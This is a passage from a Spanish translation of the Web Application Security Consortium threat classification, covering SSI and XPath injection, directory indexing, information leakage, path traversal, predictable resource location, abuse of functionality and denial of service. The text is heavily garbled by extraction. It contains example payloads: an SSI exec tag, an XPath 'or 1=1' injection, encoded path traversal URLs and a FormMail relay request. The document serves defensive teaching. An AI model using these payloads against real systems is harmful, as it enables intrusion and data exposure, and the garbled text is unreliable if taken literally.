el saneamiento de los datos facilitados por el usuario# antes de !ue
sean insertados en un archivo 73(L interpretado por el servidor.
Antes de servir una pagina web 73(L# un servidor web puede
interpretar y e$ecutar sentencias SS%. 'n algunos casos ,por e$emploM
foros# libros de visitas# sistemas de administracion de contenido# etc.-
una aplicacin web insertar los datos facilitados por el usuario en el
cdigo fuente de una pgina web.
Si un atacante envia una sentencia SS%# podra tener la capacidad de
e$ecutar comandos arbitrarios de sistema operativo# o incluir el
contenido de un archivo restringido la siguiente vez !ue la pgina
sea servida.
(jemplo
43
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
La siguiente eti!ueta SS% puede permitir a un atacante obtener el
listado del directorio raz en un sistema basado en 5ni0.
<U##Qexec cmd="/>in/ls /" ##>
La siguiente eti!ueta SS% puede permitir a un atacante obtener la
cadena de cone0in a la base de datos# u otros datos sensibles !ue
se encuentren dentro de un archivo de configuracion de .8'3.
<U##Q;:'5OE( J;6/O75="/Ne>.con1ig"##>
)eferencias
2*erver *ide &ncludes +**&-3 ? @(*. C11/d
"ttp;##"oo"oo.ncsa.uiuc.edu#docs#tutorials#includes."tml
2*ecurity 1ips for *erver (onfiguration3 ? .pac"e C11/'
"ttp;##"ttpd.apac"e.org#docs#misc#security<tips."tmlLssi
2Ceader 7ased 4%ploitation; =eb *tatistical *oftware 1"reats3 ?
(:&*ecurity.com
"ttp;##www.cgisecurity.net#papers#"eader)based)e%ploitation.t%t
2. practical vulnerability analysis3
"ttp;##"e%agon.itgo.com#@otadetapa#a<practical<vulnerability<analys.
"tm
44
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
.&= *nyeccin F+at!
La inyeccin J*ath es una t&cnica de ata!ue usada para e0plotar
sitios web !ue construyen consultas J*A37 directamente a partir de
datos facilitados por los usuarios.
J*ath ?.I es un lengua$e usado para referirse a partes de un
documento J(L. *uede ser usado directamente por una aplicacin
para consultar un documento J(L# o como parte de una operacin
mayor como aplicar una transformacion JSL3 a un documento J(L#
o aplicando una J.uery a un documento J(L.
La sinta0is tiene una cierta seme$anza a una consulta S.L# y de
hecho# es posible formar consultas tipo S.L en un documento J(L
usando J*ath. *or e$emplo# supongamos !ue un documento J(L
contiene elementos de nombre user# cada uno de los cuales
contiene tres sub elementos / name+ passNord y account. La
siguiente e0presion J*atch retorna el n+mero de cuenta del usuario
cuyo nombre es N$smithN y su contrase)a es N"emo?@ACN ,o retorna
una cadena vaca si no e0iste el usuario-
string0//userSname/text0H==Ksmith= and
passNord/text0H==Eemo1234=T/account/text0HH
Si una aplicacin construye consultas J*ath de forma dinmica
concatenando datos inseguros facilitados por el usuario# resulta
posible para un atacante inyectar datos en la consulta !ue permitan
!ue la nueva consulta formada con esos datos sea interpretada de
forma diferente a la intencin del programador.
(jemplo
Consideremos una aplicacin web !ue usa J*ath para consultar un
documento J(L y obtener el n+mero de cuenta a partir de un usuario
y contrase)a enviados por el cliente. 'sta aplicacin podra
concatenar directamente estos valores en la consulta J*ath creando
45
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
un agu$ero de seguridad.
4jemplo +usando Eicrosoft .*/.@41 y (L-;
VmlEocument VmlEoc = neN VmlEocument0H;
VmlEoc.5oad0"..."H;
V<ath:a%igator na% = VmlEoc.'reate:a%igator0H;
V<ath(xpression expr =
na%.'ompile0"string0//userSname/text0H=="?/extGox1./ext?"=
and passNord/text0H=="?/extGox2./ext?
"=T/account/text0HH"H;
&tring account='on%ert./o&tring0na%.(%aluate0exprHH;
i1 0account==""H W
// name?passNord pair is not 1ound in the V.5 document
X
// login 1ailed.
Y else W
// account 1ound #> 5ogin succeeded.
// <roceed into the application.
Y
Cuando este cdigo es e$ecutado# un atacante puede inyectar
e0presiones J*ath# como por e$emploM facilitando el siguiente valor
como nombre de usuarioM
= or 1=1 or ====
'sto causa !ue la semntica del J*ath original cambie# por eso
siempre retorna el primer n+mero de cuenta en el documento J(L.
La consulta en este caso serM
46
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
string0//userSname/text0H=== or 1=1 or ===== and
passNord/text0H==1oo>ar=T/account/text0HH
La cual es id&ntica ,dado !ue la e0presin es evaluada como
verdadera en todos los nodos- aM
string0//user/account/text0HH
y retorna la primera instancia de //user/account/text0H.
'l ata!ue resulta en !ue el atacante inicia sesin ,como el primer
usuario listado en el documento J(L-# aun!ue el atacante no facilite
ning+n nombre de usuario y contrase)a vlidos.
)eferencias
W,E /at" anguage +,/at"- Aersion I.M3 ) =Q( Decommendation,
IT @ov IGGG
"ttp;##www.wQ.org#1D#%pat"
24ncoding a 1a%onomy of =eb .ttac9s wit" 'ifferent)engt"
Aectors3 ) :. .lvarez and *. /etrovic
"ttp;##ar%iv.org#/*<cac"e#cs#pdf#MNIM#MNIMMNT.pdf
W7lind ,/at" &njectionW ) .mit Blein
"ttp;##www.sanctuminc.com#pdfc#="ite/aper<7lind<,/at"<&njection<
NMMPMXIK.pdf
9 )evel aci n de i nf or maci n
'l captulo K6evelacin de informacinL aborda los ata!ues
dise)ados para ad!uirir informacin especfica del sistema sobre un
sitio web. La informacin especfica del sistema incluye la
distribucin de software# n+meros de versin y niveles de parcheado.
47
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
La informacin puede contener la ubicacin de ficheros de bac4up y
ficheros temporales. 'n muchos casos# no se re!uiere la divulgacin
de esta informacin para llevar a cabo las necesidades del usuario.
La mayora de sitios web revelarn un cierta cantidad de datos# pero
lo me$or es limitar# siempre !ue se aposible# la cantidad de datos !ue
pueden ser revelados. Cuanta ms informacin acerca del sitio web
disponga el atacante# ms fcil le resultar comprometer el sistema.
.&. *ndeDacin de directorio
'l listado2inde0acin automtica de directorio es una funcin del
servidor web !ue lista todos los ficheros del directorio solicitado si el
fichero ndice habitual ,index.html2home.html2de1ault.htm- no
est presente. Cuando un usuario solicita la pgina principal de un
sitio web# normalmente escribe una 56L como la siguienteM
http://NNN.example [ usando el nombre de dominio y
e0cluyendo un fichero especfico. 'l servidor web procesa esta
peticin y busca en el directorio raz del sitio web el nombre por
defecto del fichero ndice y enva esta pgina al cliente. Si la pgina
no se encuentra# el servidor web obtendr un listado del directorio y
enviar la salida al cliente. 'sencialmente# esto es e!uivalente a
e$ecutar un comando KlsL ,en sistemas 5ni0- o KdirL ,en sistemas
Windows- en este directorio# mostrando los resultados en formato
73(L. "esde la perspectiva de un ata!ue y su contramedida# es
importante comprender !ue los listados no intencionados de
directorio pueden ser llevados a cabo debido a vulnerabilidades del
software ,discutido en el apartado K'$emploL mostrado ms aba$o-
combinado con una peticin web especfica.
Cuando un servidor web revela contenidos de un directorio# el listado
podra contener informacin !ue no se espera ser vista de forma
p+blica. A menudo# los administradores web delegan la seguridad en
la llamada Kseguridad a trav&s de oscuridadL asumiendo !ue si no
e0isten enlaces a estos recursos# no sern encontrados o nadie los
buscar. La suposicin es incorrecta. 7oy en da# escneres de
vulnerabilidades# como 8i4to# dinmicamente pueden a)adir
48
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
directorios2archivos adicionales para incluir en su e0ploracin#
basndose en datos obtenidos en pruebas iniciales. 6evisando el
fichero /ro>ots.txt y2o viendo el contenido de la inde0acin de
directorios# el escner de vulnerabilidades puede ahora ir ms all#
realizando peticiones al servidor web con estos nuevos datos.
Aun!ue pueda parecer inofensivo# la inde0acin de directorio puede
permitir una fuga de informacin !ue proporcione a un atacante la
informacin necesaria para lanzar nuevos ata!ues contra el sistema.
(jemplo
La siguiente informacin podra ser obtenida a partir de la inde0acin
de un directorioM
<icheros de copias de seguridad [ con e0tensiones como .>ak#
.old o .orig
<icheros temporales [ son ficheros !ue normalmente son
eliminados por el servidor pero !ue# por cual!uier motivo# se
encuentran a+n disponibles.
<icheros ocultos [ con nombres de fichero !ue comienzan por
N.N
Convenciones de nombres [ un atacante puede ser capaz de
identificar el es!uema de composicin utilizado por el sitio web
para nombrar directorios o ficheros. '$emploM Admin o admin#
bac4up o bac4/up# etc...
'numeracin de cuentas de usuario [ a menudo# las cuentas
personales de usuario en un servidor web tienen como nombre
del directorio personal el mismo !ue el de la cuenta de usuario.
Contenido de ficheros de configuracin [ estos ficheros pueden
contener datos de control de acceso y utilizan e0tensiones
como .con1# .c1g o .con1ig
Contenido script [ La mayora de servidores web permiten la
e$ecucin de scripts ya sea especificando la ubicacin del script
,por e$emplo /cgi#>in- o configurando el servidor para !ue
intente e$ecutar ficheros basndose en sus permisos ,por
e$emplo# el bit de e$ecucin en sistemas Yni0 y el uso de la
49
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
directiva J9it7ac4 de Apache-. "ebido a estas opciones# si se
permite la inde0acin de contenidos del directorio cgi#>in# es
posible ba$ar2revisar el cdigo script si los permisos no son
correctos.
'0isten tres escenarios distintos donde un atacante puede disponer
de la capacidad de recuperar un listado2inde0acin de directorio de
forma no esperadaM
?- 'l servidor web est deficientemente configurado y
permite2proporciona la inde0acin de directorios. La confusin
puede surgir cuando un administrador web se encuentra
configurando las directivas de inde0acin en el fichero de
configuracin. 's posible tener un resultado no deseado
cuando se implementan configuraciones comple$as# como
cuando se desea permitir la inde0acin de directorio para un
subdirectorio especfico y se rechaza para el resto del servidor.
"esde la perspectiva del atacante# la peticin 733* es id&ntica
a la descrita previamente. 'l atacante realiza una peticin
sobre un directorio y observa si se recibe el contenido
deseado. 8o le preocupa el Kpor!u&L de !ue el servidor web se
encuentre configurado de esta manera.
@- Algunos componentes del servidor web permiten inde0acin de
directorio incluso si se encuentra deshabilitada en el fichero de
configuracin o si una pgina ndice est presente. 'ste es el
+nico escenario de e$emplo vlido para la e0plotacin de la
inde0acin de directorio. 7ay numerosas vulnerabilidades
identificadas en muchos servidores web# !ue causan una
inde0acin de directorio si se envan peticiones 733*
especficas.
A- La base de datos de cach& de =oogle puede contener datos
histricos !ue pueden incluir inde0aciones de directorios de
e0ploraciones pasadas de un sitio web especfico.

50
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
)eferencias
'irectory &nde%ing Aulnerability .lerts
"ttp;##www.securityfocus.com#bid#IMTQ
"ttp;##www.securityfocus.com#bid#TJNI
"ttp;##www.securityfocus.com#bid#KKGK
@essus WDemote 8ile .ccessW /lugin =eb page
"ttp;##cgi.nessus.org#plugins#dump.p"pQRfamilyZDemote[NMfile
[NMaccess
=eb *ite &nde%er 1ools
"ttp;##www.download)freeware)s"areware.com#&nternet.p"pR
1"emeZIIN
&ntrustion /revention for =eb
"ttp;##www.modsecurity.org
*earc" 4ngines as a *ecurity 1"reat
"ttp;##it.9orea.ac.9r#class#NMMN#software#Deading[NMist#*earc"
[NM4ngines[NMas[NMa[NM*ecurity[NM1"reat.pdf
1"e :oogle Cac9erUs :uide
httpM22$ohnny.ihac4stuff.com2security2premium23he\=oogle\7ac4ers\
=uide\v?.I.pdf
.&" Aua de informacin
La fuga de informacin se produce cuando un sitio web revela datos
sensibles# como comentarios del desarrollador o mensa$es de error#
!ue pueden ayudar a un atacante a e0plotar el sistema. La
informacin sensible puede estar presente en comentarios 73(L#
mensa$es de error# cdigo fuente# o simplemente en una vista
normal. '0isten muchas formas en las !ue un sitio web puede ser
enga)ado para revelar este tipo de informacin. (ientras la fuga no
necesariamente representa una brecha en la seguridad# esto
realmente proporciona a un atacante una gua +til para su futura
51
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
e0plotacin. La fuga de informacin sensible puede alcanzar distintos
niveles de riesgo y debe ser limitada siempre !ue sea posible.
'n el primer caso de fuga de informacin ,comentarios en el cdigo#
mensa$es de error# etc.- la fuga puede proporcionar inteligencia al
atacante con informacin conte0tual de la estructura de directorio#
estructura de la consulta S.L y los nombres de procesos clave
utilizados por el sitio web.
A menudo# un desarrollador de$ar comentarios en el cdigo script y
73(L para proporcionar ayuda y facilitar las tareas de integracin o
resolucin de problemas. 'sta informacin puede implicar desde
simples comentarios detallando como traba$a el script# hasta# en los
peores casos# nombres de usuario y contrase)as utilizadas durante
la fase de pruebas del desarrollo.
La fuga de informacin tambi&n se aplica a datos considerados
confidenciales# !ue no son correctamente protegidos por el sitio web.
'stos datos pueden incluir n+meros de cuenta# identificadores de
usuario ,n+mero de carn& de conducir# n+mero de pasaporte#
n+mero de la seguridad social# etc.- y datos especficos de usuario
,datos bancarios# direccin# histrico de transacciones# etc.-. La
autenticacin insuficiente# autorizacin insuficiente y el cifrado seguro
de transporte tambi&n tratan la proteccin y el hacer cumplir los
controles apropiados sobre el acceso a los datos. (uchos ata!ues
caen fuera del mbito de la proteccin de un sitio web como ata!ues
contra el cliente# inter&s del Kobservador casualL. La fuga de
informacin en este conte0to trata de la e0posicin de datos clave de
usuario considerados confidenciales o secretos !ue no deben ser
e0puestos a la vista de todos los usuarios. Los n+meros de tar$eta de
cr&dito son un e$emplo claro de datos de usuario !ue necesitan una
proteccin mayor sobre su posible e0posicin o fuga incluso si se
realizan un cifrado y unos controles de acceso adecuados.
(jemplo
52
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
'0isten tres categoras principales de fuga de informacinM
comentarios en el cdigo# mensa$es de error y datos confidenciales
en vista simple.
(omentarios en el c!digo;
</7G5( >order="!" cell<adding="!" cell&pacing="!"
height="DC" Nidth="DC1">
</G8EZ>
</6>
<U##;1 the image 1iles are missing+
restart J7E(6 ##>
</E >g'olor="Q111111" col&pan="D"
height="1A" Nidth="DFA">@n>sp;<//E>
<//6>
A!u podemos ver un comentario escrito por el personal de
desarrollo2.A indicando !u& se debera hacer si los ficheros de
imagen no se encuentran. La fuga de informacin es el nombre de la
m!uina en la !ue se encuentra el servidor y !ue se menciona de
forma e0plcita en el cdigo# NJ7E(6N.
5n e$emplo en los mensa$es de error puede ser la respuesta a una
consulta no vlida. 5n e$emplo claro es el mensa$e de error asociado
con las consultas S.L. 3picamente# los ata!ues de inyeccin de
cdigo S.L re!uieren !ue el atacante disponga de un conocimiento
previo de la estructura o formato usado para crear las consultas S.L
en el sitio. La fuga de informacin producida por los mensa$es de
error pueden proporcionar al atacante informacin crucial sobre
como construir consultas S.L vlidas contra la base de datos.
Lo siguiente fue devuelto cuando se introdu$o un apstrofe en un
campo Knombre de usuarioL de una pgina de autenticacinM
Eensaje de error;
53
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
7n (rror 4as 8ccurred.
(rror .essage:
&*stem.Eata.8leE>.8leE>(xception:
&*ntax error
0missing operatorH in $uer* expression
=username = ===
and passNord = =g==. at
&*stem.Eata.8leE>.8leE>'ommand.
(xecute'ommand/ext(rror4andling
0 ;nt32 hrH at
&*stem.Eata.8leE>.8leE>'ommand.
(xecute'ommand/ext)or&ingle6esult
0 tagEG<767.& d><arams+ 8>Kect@
execute6esultH at
'n las primeras lneas del mensa$e de error se informa de un error de
sinta0is. 'l mensa$e de error revela los parmetros !ue se utilizan en
la consulta S.LM username y passNord. 'sta fuga de informacin
facilita la labor a un atacante para comenzar a construir ata!ues de
inyeccin de cdigo S.L contra el sitio.
)eferencias
27est practices wit" custom error pages in .@et3, Eicrosoft *upport
"ttp;##support.microsoft.com#default.asp%RscidZ9b\en)us\KQPPXN

2(reating (ustom .*/ 4rror /ages3, Eicrosoft *upport
"ttp;##support.microsoft.com#default.asp%RscidZ9b\en)us\NNPMJM

2.pac"e (ustom 4rror /ages3, (ode *tyle
"ttp;##www.codestyle.org#sitemanager#apac"e#errors)(ustom.s"tml

2(ustomizing t"e oo9 of 4rror Eessages in H*/3,
'rew8al9man.com
"ttp;##www.drewfal9man.com#resources#(ustom4rror/ages.cfm

54
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
(old8usion (ustom 4rror /ages
"ttp;##livedocs.macromedia.com#coldfusion#T#'eveloping<(old8usion
<E,<.pplications<wit"<(8E#4rrorsT."tm
Fbfuscators ;
H.A.
"ttp;##www.cs.auc9land.ac.nz#]ct"ombor#*tudents#"lai#"ongying.pdf

.&7 +at! 1raversal
La t&cnica de ata!ue *ath 3raversal fuerza el acceso a ficheros#
directorios y comandos !ue potencialmente residen fuera del
directorio Kdocument rootL de la web. 5n atacante puede manipular
una 56L de forma !ue el sitio web e$ecutar o revelar el contenido
de ficheros arbitrarios ubicados en cual!uier lugar del servidor web.
Cual!uier dispositivo !ue e0pone un interfaz basada en 733* es
potencialmente vulnerable a *ath 3raversal.
La mayor parte de sitios web restringen el acceso de los usuarios a
una parte especfica del sistema de ficheros# tpicamente llamada
directorio Kweb document root3 o K(:& root3. 'stos directorios
contienen los ficheros esperados para el acceso de usuarios y los
e$ecutables necesarios para realizar la funcionalidad de la aplicacin
web. *ara acceder a ficheros o e$ecutar comandos en cual!uier parte
del sistema de ficheros# los ata!ues de *ath 3raversal utilizan la
capacidad de las secuencias de caracteres especiales.
'l ata!ue *ath 3raversal ms bsico utiliza la secuencia de
caracteres especiales K../L para alterar la ubicacin del recurso
solicitado en la 56L. Aun!ue los servidores web ms populares
impiden a esta t&cnica salir del directorio Kweb document rootL#
codificaciones alternativas de la secuencia K../L pueden ayudar a
sobrepasar los filtros de seguridad. 'stas variaciones de m&todo
incluyen codificacin 5nicode vlida y no vlida ,K..u221BL o K..
c!a1L- del caracter barra# contrabarra ,K..[L- en servidores
basados en Windows# codificacin de caracteres en 56L ,K2e2e
55
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
21L-# y doble codificacin del carcter contrabarra ,K..2DDcL- en
la 56L.
%ncluso si el servidor web impide correctamente los intentos de *ath
3raversal en la 56L# una aplicacin web por s misma puede ser a+n
vulnerable debido a un tratamiento incorrecto de los datos de entrada
suministrados por el usuario. 'sto es un problema com+n en las
aplicaciones web !ue usan sistemas de plantillas o cargan te0to
esttico desde ficheros. 'n variaciones de este ata!ue# el valor del
parmetro de la 56L original es sustituido con el nombre del fichero
de uno de los scripts dinmicos de la aplicacin web. Como
consecuencia# el resultado puede revelar cdigo fuente por!ue el
fichero es interpretado como te0to en lugar de un script e$ecutable.
'stas t&cnicas a menudo emplean caracteres especiales adicionales
como el punto ,K.L- para revelar el listado del directorio actual# o
caracteres nulos K!!L con el fin de sobrepasar validaciones
rudimentarias de e0tensiones de ficheros.
(jemplo
Ata!ues de *ath 3raversal contra un servidor web
Ata!ueM http://example/../../../../../some/1ile
Ata!ueM http://example/..2DDc..2DDc..2DDcsome/1ile
Ata!ueM http://example/..u221B..u221Bsome/1ile
Ata!ues de *ath 3raversal contra una aplicacin web
1riginalM http://example/1oo.cgi2home=index.htm
Ata!ueM http://example/1oo.cgi2home=1oo.cgi
'n el e$emplo anterior# la aplicacin web revela el cdigo fuente del
fichero 1oo.cgi por!ue el valor de la variable home es usado como
contenido. 6esaltar !ue en este caso el atacante no ha necesitado
incluir caracteres invlidos o caracteres de path traversal para !ue el
ata!ue tenga &0ito. 'l atacante ha seleccionado como ob$etivo otro
56
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
fichero !ue se encuentra en el mismo directorio !ue index.htm.
Ata!ues de *ath 3raversal contra una aplicacin web usando
secuencias de caracteres especialesM
1riginalM http://example/scripts/1oo.cgi2page=menu.txt
Ata!ueM http://example/scripts/1oo.cgi2
page=../scripts/1oo.cgi!!txt
'n el e$emplo anterior# la aplicacin web revela el cdigo fuente del
fichero 1oo.cgi usando secuencias de caracteres especiales. La
secuencia K../L ha sido usada para saltar atrs un directorio y entrar
en el directorio /scripts. La secuencia K!!L ha sido utilizada tanto
para sobrepasar el che!ueo de e0tensin de fichero como para
eliminar la e0tensin cuando el fichero es ledo.
)eferencias
2(4D1O .dvisory (.)NMMI)IN *uperfluous 'ecoding Aulnerability in
&&*3
"ttp;##www.cert.org#advisories#(.)NMMI)IN."tml
2@ovell :roupwise .rbitrary 8ile Detrieval Aulnerability3
"ttp;##www.securityfocus.com#bid#QPQT#info#
.&$ :ocalizacin de recursos predecibles
La ubicacin de recursos predecibles es una t&cnica de ata!ue
usada para descubrir contenidos y funcionalidades ocultas de un sitio
web.
A partir de suposiciones# el ata!ue es una b+s!ueda por fuerza bruta
de contenido !ue no se espera ser visto p+blicamente. <icheros
temporales# ficheros de copias de seguridad# ficheros de
configuracin y ficheros de e$emplo son# todos ellos# e$emplos de
ficheros !ue potencialmente sobraran. 'stas b+s!uedas por fuerza
bruta resultan fciles ya !ue los ficheros ocultos generalmente
57
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
suelen seguir convenciones de nombre comunes y residen en
ubicaciones estndar. 'stos ficheros pueden revelar informacin
sensible sobre aplicaciones web internas# informacin de bases de
datos# contrase)as# nombres de m!uinas# rutas de ficheros u otras
reas sensibles# o sufrir posiblemente vulnerabilidades. La revelacin
de esta informacin es de gran valor para un atacante.
La localizacin de recursos predecibles tambi&n es conocida como
navegacin forzada# enumeracin de ficheros# enumeracin de
directorios# etc.
(jemplo
Cual!uier atacante puede crear peticiones sobre ficheros o
directorios arbitrarios en cual!uier servidor web p+blico. La e0istencia
de un recurso puede ser determinada analizando los cdigos de
respuesta 733* !ue devuelve el servidor web. '0isten distintas
variaciones del ata!ue de ubicacin de recursos predeciblesM
9+s!uedas ciegas de ficheros y directorios comunes
/admin/
/>ackup/
/logs/
/%ulnera>le31ile.cgi
Adicin de e0tensiones a nombres de ficheros e0istentesM ,2test.asp-
/test.asp.>ak
/test.>ak
/test
; At aques l i cos
'l captulo KAta!ues lgicosL se centra en el abuso o e0plotacin del
flu$o lgico de una aplicacin web. La lgica de la aplicacin es el
flu$o de procedimientos esperados para realizar una cierta accin.
58
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
6ecuperacin de contrase)as# alta de una cuenta# pu$a en subastas#
y compras en comercios electrnicos son# todos ellos# e$emplos de
lgica de aplicacin. 5n sitio web puede re!uerir a un usuario un
proceso especfico de varios pasos para completar una accin
particular. 5n atacante puede ser capaz de burlar o abusar de esas
caractersticas para da)ar un sitio web y a sus usuarios.
.&. Abuso de funcionalidad
'l abuso de funcionalidad es una t&cnica de ata!ue !ue usa las
propias caractersticas y funcionalidad de un sitio web para consumir#
defraudar# o burlar los mecanismos de control de acceso. 5na
funcionalidad de un sitio web# incluso posiblemente caractersticas de
seguridad# puede ser abusada para causar un comportamiento
inesperado. Cuando una parte de la funcionalidad se encuentra
abierta al abuso# un atacante podra potencialmente molestar a otros
usuarios o !uizs llevar a cabo un fraude sobre el sistema completo.
'l potencial y el nivel de abuso variar de un sitio web a otro y de
una aplicacin a otra.
Las t&cnicas de abuso de funcionalidad a menudo son entrelazadas
con otras categoras de ata!ues de aplicacin web# tales como la
realizacin de un ata!ue de codificacin para introducir una cadena
de consulta !ue convierta una funcin de b+s!ueda web en un pro0y
web remoto. Los ata!ues de abuso de funcionalidad son tambi&n
usados com+nmente como una fuerza multiplicadora. *or e$emplo#
un atacante puede inyectar un fragmento de Cross/site Scripting en
una sesin de chat web y entonces usar la funcin interna de envo
para propagar el cdigo malicioso a trav&s del sitio.

"e una manera gen&rica# todos los ata!ues efectuados contra
sistemas basados en ordenador implican casos de abuso de
funcionalidad. 'specficamente# esta definicin describe un ata!ue
!ue ha convertido una aplicacin web con un propsito +til en un
propsito malicioso con poca o ninguna modificacin de la funcin
original.
59
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
(jemplo
'$emplos de abuso de funcionalidad incluyenM a- 5sar la funcin de
b+s!ueda de un sitio web para acceder a archivos restringidos fuera
del directorio web# b- 'nga)ar a un subsistema de subida de
archivos para reemplazar archivos crticos de configuracines
internas# y c- 6ealizar una denegacin de servicio inundando un
sistema de autenticacin web con nombres de usuario correctos y
contrase)as errneas para blo!uear a los usuarios legtimos cuando
los intentos de autenticacin permitidos e0ceden el lmite. 1tros
e$emplos del mundo real# se describen a continuacin.
(att Wright <orm(ail
La aplicacin web basada en *erl N<orm(ailN normalmente se usaba
para transmitir los datos de un formulario# cumplimentado por el
usuario# a una direccin de correo predefinida. 'l script ofreca una
solucin de fcil uso para !ue un sitio web consiguiera feedbac4s.
*or esta razn el script <orm(ail era uno de los ms populares
programas C=% on line. "esafortunadamente# este mismo grado de
utilidad y facilidad de uso era abusado por atacantes remotos para
enviar correos electrnicos a cual!uier destino remoto. 's ms# esta
aplicacin web se transform en un motor de spam/relay con una
simple peticin web del navegador.
5n atacante +nicamente tena !ue modificar una 56L para !ue
facilitara los parmetros deseados de la direccin de correo
electrnico y realizar una peticin 733* ='3 al C=%# tal comoM
http://example/cgi#>in/)orm.ail.pl2 recipient=
email@victim.example@message= *ou2!got2!spam
Se generara un correo electrnico# con el servidor web actuando
como el !ue enva# permitiendo al atacante ocultarse a trav&s de la
aplicacin web actuando como pro0y. "ado !ue no e0istan
mecanismos de seguridad para esta versin del script# la +nica
60
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
medida de defensa viable era reescribir el script con una direccin de
correo fi$ada en el cdigo. Con esto# los sitios se vean forzados a
borrar o reemplazar la aplicacin web completa.
(acromediaZs Cold <usion
Algunas veces las herramientas de administracin bsicas van
embebidas en aplicaciones web !ue puede ser facilmente usadas
para propsitos no intencionados. *or e$emplo# (acromediaZs Cold
<usion por defecto tiene un mdulo insertado para ver el cdigo
fuente !ue es universalmente accesible. 'l abuso de este mdulo
puede resultar en una fuga de informacin crtica de la aplicacin
web. A menudo estos tipos de mdulos no son simples ficheros o
funciones e0tra)as# sino componentes crticos del sistema. 'sto crea
!ue la deshabilitacin de estas funciones sea problemtica# ya !ue
estan pensadas para los sistemas de aplicacin web.
(odificacin del precio de un carro de la compra Smartwin
Cyber1ffice
'l abuso de funcionalidad se realiza cuando un atacante altera los
datos en un paso no previsto para modificar el comportamiento de la
aplicacin web. *or e$emplo# el carro de la compra Cyber1ffice
puede ser abusado cambiando el campo oculto del precio en el
formulario web. La pgina web es descargada normalmente# editada
y entonces se reenva con los precios configurados con cual!uier
valor deseado.
)eferencias
28ormEail Deal @ame#4mail .ddress (:& Aariable *pamming
Aulnerability3
"ttp;##www.securityfocus.com#bid#QGXX
2(A4)IGGG)MKMM3
"ttp;##cve.mitre.org#cgi)bin#cvename.cgiRnameZIGGG)MKMM
2(. Unicenter pdmcgi.e%e Aiew .rbitrary 8ile3
61
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
"ttp;##www.osvdb.org#displayvuln.p"pRosvdb<idZQNPJ
2/eople*oft /eople7oo9s *earc" (:& 8law3
"ttp;##www.osvdb.org#displayvuln.p"pRosvdb<idZNKIX
2iis(.D1NMMM Upload Aulnerability3
"ttp;##secunia.com#advisories#KGNJ#
2/DF14:F *ecurity .dvisory L/*.NMMPMI3
"ttp;##www.protego.d9#advisories#NMMPMI."tml
2/rice modification possible in (yberFffice *"opping (art3
"ttp;##arc"ives.neo"apsis.com#arc"ives#bugtraq#NMMM)IM#MMII."tml
.&" Deneacin de servicio
La denegacin de servicio ,"oS- es una t&cnica de ata!ue con la
intencin de impedir !ue un sitio sirva la actividad habitual a los
usuarios. Los ata!ues "oS# !ue resultan fcilmente aplicables en la
capa de red# son tambi&n posibles en la capa de aplicacin. 'stos
ata!ues maliciosos pueden ocurrir privando a un sistema de recursos
crticos# e0plotando vulnerabilidades o mediante un abuso de
funcionalidad.
(uchas veces los ata!ues "oS intentarn consumir todos los
recursos disponibles del sistema tales comoM C*5# memoria# espacio
de disco# etc. Cuando uno de esos recursos alcance un consumo
m0imo# el sitio web normalmente pasar a estar inaccesible.
7oy en da# todos los entornos de aplicacin web incluyen un
servidor web# servidor de base de datos y un servidor de
autenticacin. 5n ata!ue "oS en la capa de aplicacin puede tener
como ob$etivo a cada uno de esos componentes independientes. A
diferencia de un ata!ue "oS en la capa de red# donde se re!uieren
un gran n+mero de intentos de cone0in# el ata!ue "oS en la capa
62
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
de aplicacin es una tarea mucho ms simple de realizar.
(jemplo
%maginemos un sitio web de servicio m&dico !ue genera un informe
con el historial m&dico. *or cada peticin de informe# el sitio web
realiza una consulta a la base de datos para conseguir todos los
campos !ue coinciden con un n+mero de la seguridad social. "ado
!ue cientos de miles de campos se almacenan en la base de datos
,para todos los usuarios- el usuario necesitar esperar tres minutos
para conseguir su informe de la historia m&dica. "urante esos tres
minutos de tiempo la C*5 del servidor de la base de datos alcanza
un EIX de utilizacin mientras busca la coincidencia de campos.
5n ata!ue "oS com+n en la capa de aplicacin# enviar ?I
peticiones simultneas preguntando para generar un informe de
historial m&dico. 'stas peticiones seguramente de$arn el sitio web
ba$o una condicin de ata!ue "oS en cuanto la C*5 del servidor de
la base de datos alcance el ?IIX de uso. 'n este punto# el sistema
estar inaccesible para cual!uier actividad normal de usuario.
.taque 'o* contra un usuario espec$fico
5n intruso intentar repetidamente intentar validarse en un sitio web
como alg+n usuario# haci&ndolo a propsito con una contrase)a
invlida. 'ste proceso eventualmente blo!uear al usuario legtimo.
.taque 'o* contra un servidor de 7ase de 'atos
5n intruso usar t&cnicas de inyeccin de cdigo S.L para modificar
la base de datos y provocar !ue el sistema se vuelva inutilizable ,por
e$emplo# borrando todos los datos# borrando nombres de usuario#
etc.-
.taque 'o* contra un servidor web
5n intruso usar t&cnicas de desbordamiento de buffer para enviar
una peticin especialmente construida para !ue cuelgue los
procesos del servidor web y el sistema normalmente se volver
63
Copyri!t "##$% Web Application Security Consortium& All ri!ts reserved&
inaccesible para la actividad normal de los usuarios.
.&7 AntiEautomatizacin insuficiente
La anti/automatizacin insuficiente se produce cuando un sitio web
permite a un atacante automatizar un proceso !ue slo debera
llevarse a cabo de forma manual. Ciertas funcionalidades de sitios
web deberan ser protegidas contra ata!ues automticos.
8o validando esto# robots automticos ,programas- o atacantes
podran repetidamente intentar e0plotar o enga)ar el sistema. 5n
robot automtico potencialmente podra e$ecutar miles de peticiones
por minuto# causando p&rdida de potencia o del rendimiento del
servicio.
